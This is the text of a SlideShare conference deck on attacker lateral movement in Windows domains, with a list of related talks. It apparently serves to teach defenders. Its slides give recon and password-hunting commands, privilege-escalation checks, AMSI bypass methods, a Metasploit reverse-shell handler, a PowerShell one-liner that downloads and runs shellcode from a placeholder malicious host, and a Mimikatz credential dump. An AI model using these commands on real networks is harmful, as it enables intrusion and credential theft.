SlideShare une entreprise Scribd logo
1  sur  24
Télécharger pour lire hors ligne
Lateral Movement
How attackers quietly transverse your Networks
About Xavier
• Currently VP of Drawbridge Networks
• Hacking since the late 80s
• First half my career was implementing
Security
• Second half career is security consulting,
VARs, and Vendors
• Georgia Institute Of Technology: Computer
Engineering with International Affairs minor
Kill Chain is outdated
Recon
Weaponize
Delivery
Exploit
Install
C&C
Action
Kill Chain, Updated
Recon
Weaponize
Delivery
Exploit
Persistence Action
Lateral
Movement
What is Lateral Movement?
Marketing PCSales PC
Executive PCIT Laptop
Domain
Controller
Web Server
Three Types of Recon
• Passive Information Gathering
• Semi-passive Information Gathering
• Active Information Gathering
You’ve got remote shell, now what?
• systeminfo | findstr /B /C:"OS
Name" /C:"OS Version"
• hostname
• echo %username%
• net users
• net user <username>
• echo %userdomain%
• echo %userdnsdomain%
• nslookup -querytype=SRV
_LDAP._TCP.DC._MSDCS.<domain>
• net start
• ipconfig /all
• route print
• arp -A
• netstat -ano
• netsh firewall show state
• netsh firewall show config
• schtasks /query /fo LIST /v
• tasklist /SVC
• DRIVERQUERY
Find the Domain Controllers
Service Principal Names (SPNs)
• Find SPNs linked to a certain computer
setspn -L <ServerName>
• Find SPNs linked to a certain user account
setspn -L <domainuser>
• Powershell
Get-NetUser -SPN
Privilege Escalation
• Look for missing patches, known exploits
• Look in automated install answer files for passwords
• Get saved passwords from Group Policy (metaploit or Get-GPPPaassword)
• Look for registry setting "AlwaysInstallElevated“
• HKLMSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated
• HKCUSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated
• Hail Mary
• dir /s *pass* == *cred* == *vnc* == *.config*
• findstr /si password *.xml *.ini *.txt
• reg query HKLM /f password /t REG_SZ /s
• reg query HKCU /f password /t REG_SZ /s
Privilege Escalation - Advanced
• Vulnerable Windows Services
• DLL hijacking using vulnerable folders in the PATH
• Replace executable with existing scheduled task.
Privilege Escalation – Hacking a Service
Or just run PowerUp (Invoke-AllChecks)
• if you are an admin in a medium integrity process (exploitable with bypassuac)
• for any unquoted service path issues
• for any services with misconfigured ACLs (exploitable with service_*)
• any improper permissions on service executables (exploitable with service_exe_*)
• for any leftover unattend.xml files
• if the AlwaysInstallElevated registry key is set
• if any Autologon credentials are left in the registry
• for any encrypted web.config strings and application pool passwords
• for any %PATH% .DLL hijacking opportunities (exploitable with write_dllhijacker)
PowerShell
There are a number of reasons why attackers love PowerShell:
• Run code in memory without touching disk
• Download & execute code from another system
• Direct access to .NET & Win32 API
• Built-in remoting
• CMD.exe is commonly blocked, though not PowerShell
• Most organizations are not watching PowerShell activity
• Many endpoint security products don’t have visibility into PowerShell
activity
PowerShell v5 Security Enhancements
• Script block logging
• System-wide transcripts
• Constrained PowerShell
enforced with AppLocker
• The Anti-Malware Scan Interface
(AMSI)
• There are two primary methods
of bypassing AMSI (at least for
now):
• Provide & use a custom amsi.dll
and call that one from custom EXE.
• Matt Graeber described how to
use reflection to bypass AMSI
Remote Access with no hit to Disk
Create Shellcode from Metasploit
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD
windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST
<Your local host>
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit
Powershell Shellcode Injection
IEX (New-Object
Net.WebClient).DownloadString("https:
//<Malicious URL>/Invoke-
Shellcode.ps1")
Invoke-ShellCode -Payload
windows/meterpreter/reverse_https -
Lhost <malicious IP> -Lport 443 -
Force
PowerSploit
• Invoke-DllInjection.ps1
• Invoke-Shellcode.ps1
• Invoke-WmiCommand.ps1
• Get-GPPPassword.ps1
• Get-Keystrokes.ps1
• Get-TimedScreenshot.ps1
• Get-VaultCredential.ps1
• Invoke-CredentialInjection.ps1
• Invoke-Mimikatz.ps1
• Invoke-NinjaCopy.ps1
• Invoke-TokenManipulation.ps1
• Out-Minidump.ps1
• VolumeShadowCopyTools.ps1
• Invoke-ReflectivePEInjection.ps1
Invoke-Mimikatz
No Domain Admins Yet?
Invoke-Mimikatz –dumpcreds Out-File -Append c:evilplace$env:computername.txt
Other Ways to get Domain Admin
• Passwords in SYSVOL & Group Policy Preferences
• Exploit the MS14-068 Kerberos Vulnerability on a Domain Controller
Missing the Patch
• Kerberos TGS Service Ticket Offline Cracking (Kerberoast)
• Gain Access to the Active Directory Database File (ntds.dit)
• Compromise an account with rights to logon to a Domain Controller
• Then run Mimicatz
PowerShell Empire
Capabilities:
• PowerShell based Remote Access Trojan (RAT).
• Python server component (Kali Linux).
• AES Encrypted C2 channel.
• Dumps and tracks credentials in database.
Nishang
• Check-VM
• Remove-Update
• Invoke-CredentialsPhish
PS>Attack
Use for AV Bypass. Build tool for
new encrypted exe every time.
Contains
• PowerTools
• PowerUp
• PowerView
• Nishang
• Powercat
• Inveigh
Powersploit:
• Invoke-Mimikatz
• Get-GPPPassword
• Invoke-NinjaCopy
• Invoke-Shellcode
• Invoke-WMICommand
• VolumeShadowCopyTools
References
• SPNs: http://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-
setspn-exe.aspx
• SPN Query: https://technet.microsoft.com/en-us/library/ee176972.aspx
• Active Directory Security: https://adsecurity.org
• Remote Access PowerShell with Metasploit http://www.redblue.team/2016/01/powershell-traceless-threat-and-
how-to.html
• No Domain Admin yet? https://365lab.net/tag/invoke-mimikatz/
• Privilege Escalation: http://www.fuzzysecurity.com/tutorials/16.html
• PowerUp: http://www.powershellempire.com/?page_id=378
• PowerSploit: https://github.com/PowerShellMafia/PowerSploit
• Mimikatz: https://github.com/gentilkiwi/mimikatz
• PowerShell Empire: https://github.com/powershellempire/empire
• Nishang: https://github.com/samratashok/nishang
• PS>Attack: https://github.com/jaredhaight/psattack
Contact me @XavierAshe

Contenu connexe

Tendances

Attack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration TestingAttack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration Testing
NetSPI
 
Extracting Credentials From Windows
Extracting Credentials From WindowsExtracting Credentials From Windows
Extracting Credentials From Windows
NetSPI
 
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoTCSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CanSecWest
 
BlueHat v17 || Dyre to Trickbot: An Inside Look at TLS-Encrypted Command-And-...
BlueHat v17 || Dyre to Trickbot: An Inside Look at TLS-Encrypted Command-And-...BlueHat v17 || Dyre to Trickbot: An Inside Look at TLS-Encrypted Command-And-...
BlueHat v17 || Dyre to Trickbot: An Inside Look at TLS-Encrypted Command-And-...
BlueHat Security Conference
 

Tendances (20)

Attack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration TestingAttack All the Layers - What's Working in Penetration Testing
Attack All the Layers - What's Working in Penetration Testing
 
Extracting Credentials From Windows
Extracting Credentials From WindowsExtracting Credentials From Windows
Extracting Credentials From Windows
 
External to DA, the OS X Way
External to DA, the OS X WayExternal to DA, the OS X Way
External to DA, the OS X Way
 
Purpose Driven Hunt (DerbyCon 2017)
Purpose Driven Hunt (DerbyCon 2017)Purpose Driven Hunt (DerbyCon 2017)
Purpose Driven Hunt (DerbyCon 2017)
 
07182013 Hacking Appliances: Ironic exploits in security products
07182013 Hacking Appliances: Ironic exploits in security products07182013 Hacking Appliances: Ironic exploits in security products
07182013 Hacking Appliances: Ironic exploits in security products
 
The Dark Side of PowerShell by George Dobrea
The Dark Side of PowerShell by George DobreaThe Dark Side of PowerShell by George Dobrea
The Dark Side of PowerShell by George Dobrea
 
[CLASS 2014] Palestra Técnica - Jonathan Knudsen
[CLASS 2014] Palestra Técnica - Jonathan Knudsen[CLASS 2014] Palestra Técnica - Jonathan Knudsen
[CLASS 2014] Palestra Técnica - Jonathan Knudsen
 
Secure360 - Extracting Password from Windows
Secure360 - Extracting Password from WindowsSecure360 - Extracting Password from Windows
Secure360 - Extracting Password from Windows
 
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoTCSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
 
CNIT 126: Ch 2 & 3
CNIT 126: Ch 2 & 3CNIT 126: Ch 2 & 3
CNIT 126: Ch 2 & 3
 
Fuzzing and You: Automating Whitebox Testing
Fuzzing and You: Automating Whitebox TestingFuzzing and You: Automating Whitebox Testing
Fuzzing and You: Automating Whitebox Testing
 
Заполучили права администратора домена? Игра еще не окончена
Заполучили права администратора домена? Игра еще не оконченаЗаполучили права администратора домена? Игра еще не окончена
Заполучили права администратора домена? Игра еще не окончена
 
CNIT 152: 1 Real-World Incidents
CNIT 152: 1 Real-World IncidentsCNIT 152: 1 Real-World Incidents
CNIT 152: 1 Real-World Incidents
 
CNIT 152: 6. Scope & 7. Live Data Collection
CNIT 152: 6. Scope & 7. Live Data CollectionCNIT 152: 6. Scope & 7. Live Data Collection
CNIT 152: 6. Scope & 7. Live Data Collection
 
Secure360 - Attack All the Layers! Again!
Secure360 - Attack All the Layers! Again!Secure360 - Attack All the Layers! Again!
Secure360 - Attack All the Layers! Again!
 
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 201510 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
 
3. Security Engineering
3. Security Engineering3. Security Engineering
3. Security Engineering
 
BlueHat v17 || Dyre to Trickbot: An Inside Look at TLS-Encrypted Command-And-...
BlueHat v17 || Dyre to Trickbot: An Inside Look at TLS-Encrypted Command-And-...BlueHat v17 || Dyre to Trickbot: An Inside Look at TLS-Encrypted Command-And-...
BlueHat v17 || Dyre to Trickbot: An Inside Look at TLS-Encrypted Command-And-...
 
CNIT 128 3. Attacking iOS Applications (Part 2)
CNIT 128 3. Attacking iOS Applications (Part 2)CNIT 128 3. Attacking iOS Applications (Part 2)
CNIT 128 3. Attacking iOS Applications (Part 2)
 
Malware forensics
Malware forensicsMalware forensics
Malware forensics
 

En vedette

Malwarem armed with PowerShell
Malwarem armed with PowerShellMalwarem armed with PowerShell
Malwarem armed with PowerShell
FFRI, Inc.
 

En vedette (20)

Dynamic Population Discovery for Lateral Movement (Using Machine Learning)
Dynamic Population Discovery for Lateral Movement (Using Machine Learning)Dynamic Population Discovery for Lateral Movement (Using Machine Learning)
Dynamic Population Discovery for Lateral Movement (Using Machine Learning)
 
Malwarem armed with PowerShell
Malwarem armed with PowerShellMalwarem armed with PowerShell
Malwarem armed with PowerShell
 
Originales y pre impresi
Originales y pre impresiOriginales y pre impresi
Originales y pre impresi
 
Brit India Wiki
Brit India WikiBrit India Wiki
Brit India Wiki
 
Cyber Security Experts Forum
Cyber Security Experts ForumCyber Security Experts Forum
Cyber Security Experts Forum
 
Ethical Hacking
Ethical HackingEthical Hacking
Ethical Hacking
 
ethical hacking
ethical hackingethical hacking
ethical hacking
 
PSConfEU - Building an Empire with PowerShell
PSConfEU - Building an Empire with PowerShellPSConfEU - Building an Empire with PowerShell
PSConfEU - Building an Empire with PowerShell
 
NextGen Endpoint Security for Dummies
NextGen Endpoint Security for DummiesNextGen Endpoint Security for Dummies
NextGen Endpoint Security for Dummies
 
CMS Hacking Tricks - DerbyCon 4 - 2014
CMS Hacking Tricks - DerbyCon 4 - 2014CMS Hacking Tricks - DerbyCon 4 - 2014
CMS Hacking Tricks - DerbyCon 4 - 2014
 
Proper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoSProper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoS
 
Open Source Information Gathering Brucon Edition
Open Source Information Gathering Brucon EditionOpen Source Information Gathering Brucon Edition
Open Source Information Gathering Brucon Edition
 
Advanced Threats and Lateral Movement Detection
Advanced Threats and Lateral Movement DetectionAdvanced Threats and Lateral Movement Detection
Advanced Threats and Lateral Movement Detection
 
Logging for Hackers - What you need to know to catch them
Logging for Hackers - What you need to know to catch themLogging for Hackers - What you need to know to catch them
Logging for Hackers - What you need to know to catch them
 
Ask a Malware Archaeologist
Ask a Malware ArchaeologistAsk a Malware Archaeologist
Ask a Malware Archaeologist
 
PowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege EscalationPowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege Escalation
 
Information security & ethical hacking
Information security & ethical hackingInformation security & ethical hacking
Information security & ethical hacking
 
Information Security and Ethical Hacking
Information Security and Ethical HackingInformation Security and Ethical Hacking
Information Security and Ethical Hacking
 
Information security & ethical hacking
Information security & ethical hackingInformation security & ethical hacking
Information security & ethical hacking
 
Hacktrikz - Introduction to Information Security & Ethical Hacking
Hacktrikz - Introduction to Information Security & Ethical HackingHacktrikz - Introduction to Information Security & Ethical Hacking
Hacktrikz - Introduction to Information Security & Ethical Hacking
 

Similaire à Lateral Movement - Hacker Halted 2016

Power on, Powershell
Power on, PowershellPower on, Powershell
Power on, Powershell
Roo7break
 
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
CODE BLUE
 
Operating system enhancements to prevent misuse of systems
Operating system enhancements to prevent misuse of systemsOperating system enhancements to prevent misuse of systems
Operating system enhancements to prevent misuse of systems
Dayal Dilli
 

Similaire à Lateral Movement - Hacker Halted 2016 (20)

Rails Security
Rails SecurityRails Security
Rails Security
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob Holcomb
 
Windows Malware Techniques
Windows Malware TechniquesWindows Malware Techniques
Windows Malware Techniques
 
Application and Server Security
Application and Server SecurityApplication and Server Security
Application and Server Security
 
Power on, Powershell
Power on, PowershellPower on, Powershell
Power on, Powershell
 
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
InSecure Remote Operations - NullCon 2023 by Yossi SassiInSecure Remote Operations - NullCon 2023 by Yossi Sassi
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
 
Ansible: How to Get More Sleep and Require Less Coffee
Ansible: How to Get More Sleep and Require Less CoffeeAnsible: How to Get More Sleep and Require Less Coffee
Ansible: How to Get More Sleep and Require Less Coffee
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014
 
Unmasking Careto through Memory Forensics (video in description)
Unmasking Careto through Memory Forensics (video in description)Unmasking Careto through Memory Forensics (video in description)
Unmasking Careto through Memory Forensics (video in description)
 
Owning computers without shell access dark
Owning computers without shell access darkOwning computers without shell access dark
Owning computers without shell access dark
 
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
 
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
 
introduction to node.js
introduction to node.jsintroduction to node.js
introduction to node.js
 
Linux Hardening - nullhyd
Linux Hardening - nullhydLinux Hardening - nullhyd
Linux Hardening - nullhyd
 
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
 
Operating system enhancements to prevent misuse of systems
Operating system enhancements to prevent misuse of systemsOperating system enhancements to prevent misuse of systems
Operating system enhancements to prevent misuse of systems
 
Thick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptxThick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptx
 
10 Tips for AIX Security
10 Tips for AIX Security10 Tips for AIX Security
10 Tips for AIX Security
 
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systemsDEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
 

Lateral Movement - Hacker Halted 2016

  • 1. Lateral Movement How attackers quietly transverse your Networks
  • 2. About Xavier • Currently VP of Drawbridge Networks • Hacking since the late 80s • First half my career was implementing Security • Second half career is security consulting, VARs, and Vendors • Georgia Institute Of Technology: Computer Engineering with International Affairs minor
  • 3. Kill Chain is outdated Recon Weaponize Delivery Exploit Install C&C Action
  • 5. What is Lateral Movement? Marketing PCSales PC Executive PCIT Laptop Domain Controller Web Server
  • 6. Three Types of Recon • Passive Information Gathering • Semi-passive Information Gathering • Active Information Gathering
  • 7. You’ve got remote shell, now what? • systeminfo | findstr /B /C:"OS Name" /C:"OS Version" • hostname • echo %username% • net users • net user <username> • echo %userdomain% • echo %userdnsdomain% • nslookup -querytype=SRV _LDAP._TCP.DC._MSDCS.<domain> • net start • ipconfig /all • route print • arp -A • netstat -ano • netsh firewall show state • netsh firewall show config • schtasks /query /fo LIST /v • tasklist /SVC • DRIVERQUERY
  • 8. Find the Domain Controllers
  • 9. Service Principal Names (SPNs) • Find SPNs linked to a certain computer setspn -L <ServerName> • Find SPNs linked to a certain user account setspn -L <domainuser> • Powershell Get-NetUser -SPN
  • 10. Privilege Escalation • Look for missing patches, known exploits • Look in automated install answer files for passwords • Get saved passwords from Group Policy (metaploit or Get-GPPPaassword) • Look for registry setting "AlwaysInstallElevated“ • HKLMSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated • HKCUSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated • Hail Mary • dir /s *pass* == *cred* == *vnc* == *.config* • findstr /si password *.xml *.ini *.txt • reg query HKLM /f password /t REG_SZ /s • reg query HKCU /f password /t REG_SZ /s
  • 11. Privilege Escalation - Advanced • Vulnerable Windows Services • DLL hijacking using vulnerable folders in the PATH • Replace executable with existing scheduled task.
  • 12. Privilege Escalation – Hacking a Service
  • 13. Or just run PowerUp (Invoke-AllChecks) • if you are an admin in a medium integrity process (exploitable with bypassuac) • for any unquoted service path issues • for any services with misconfigured ACLs (exploitable with service_*) • any improper permissions on service executables (exploitable with service_exe_*) • for any leftover unattend.xml files • if the AlwaysInstallElevated registry key is set • if any Autologon credentials are left in the registry • for any encrypted web.config strings and application pool passwords • for any %PATH% .DLL hijacking opportunities (exploitable with write_dllhijacker)
  • 14. PowerShell There are a number of reasons why attackers love PowerShell: • Run code in memory without touching disk • Download & execute code from another system • Direct access to .NET & Win32 API • Built-in remoting • CMD.exe is commonly blocked, though not PowerShell • Most organizations are not watching PowerShell activity • Many endpoint security products don’t have visibility into PowerShell activity
  • 15. PowerShell v5 Security Enhancements • Script block logging • System-wide transcripts • Constrained PowerShell enforced with AppLocker • The Anti-Malware Scan Interface (AMSI) • There are two primary methods of bypassing AMSI (at least for now): • Provide & use a custom amsi.dll and call that one from custom EXE. • Matt Graeber described how to use reflection to bypass AMSI
  • 16. Remote Access with no hit to Disk Create Shellcode from Metasploit msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https msf exploit(handler) > set LHOST <Your local host> msf exploit(handler) > set LPORT 443 msf exploit(handler) > exploit Powershell Shellcode Injection IEX (New-Object Net.WebClient).DownloadString("https: //<Malicious URL>/Invoke- Shellcode.ps1") Invoke-ShellCode -Payload windows/meterpreter/reverse_https - Lhost <malicious IP> -Lport 443 - Force
  • 17. PowerSploit • Invoke-DllInjection.ps1 • Invoke-Shellcode.ps1 • Invoke-WmiCommand.ps1 • Get-GPPPassword.ps1 • Get-Keystrokes.ps1 • Get-TimedScreenshot.ps1 • Get-VaultCredential.ps1 • Invoke-CredentialInjection.ps1 • Invoke-Mimikatz.ps1 • Invoke-NinjaCopy.ps1 • Invoke-TokenManipulation.ps1 • Out-Minidump.ps1 • VolumeShadowCopyTools.ps1 • Invoke-ReflectivePEInjection.ps1
  • 19. No Domain Admins Yet? Invoke-Mimikatz –dumpcreds Out-File -Append c:evilplace$env:computername.txt
  • 20. Other Ways to get Domain Admin • Passwords in SYSVOL & Group Policy Preferences • Exploit the MS14-068 Kerberos Vulnerability on a Domain Controller Missing the Patch • Kerberos TGS Service Ticket Offline Cracking (Kerberoast) • Gain Access to the Active Directory Database File (ntds.dit) • Compromise an account with rights to logon to a Domain Controller • Then run Mimicatz
  • 21. PowerShell Empire Capabilities: • PowerShell based Remote Access Trojan (RAT). • Python server component (Kali Linux). • AES Encrypted C2 channel. • Dumps and tracks credentials in database.
  • 23. PS>Attack Use for AV Bypass. Build tool for new encrypted exe every time. Contains • PowerTools • PowerUp • PowerView • Nishang • Powercat • Inveigh Powersploit: • Invoke-Mimikatz • Get-GPPPassword • Invoke-NinjaCopy • Invoke-Shellcode • Invoke-WMICommand • VolumeShadowCopyTools
  • 24. References • SPNs: http://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax- setspn-exe.aspx • SPN Query: https://technet.microsoft.com/en-us/library/ee176972.aspx • Active Directory Security: https://adsecurity.org • Remote Access PowerShell with Metasploit http://www.redblue.team/2016/01/powershell-traceless-threat-and- how-to.html • No Domain Admin yet? https://365lab.net/tag/invoke-mimikatz/ • Privilege Escalation: http://www.fuzzysecurity.com/tutorials/16.html • PowerUp: http://www.powershellempire.com/?page_id=378 • PowerSploit: https://github.com/PowerShellMafia/PowerSploit • Mimikatz: https://github.com/gentilkiwi/mimikatz • PowerShell Empire: https://github.com/powershellempire/empire • Nishang: https://github.com/samratashok/nishang • PS>Attack: https://github.com/jaredhaight/psattack Contact me @XavierAshe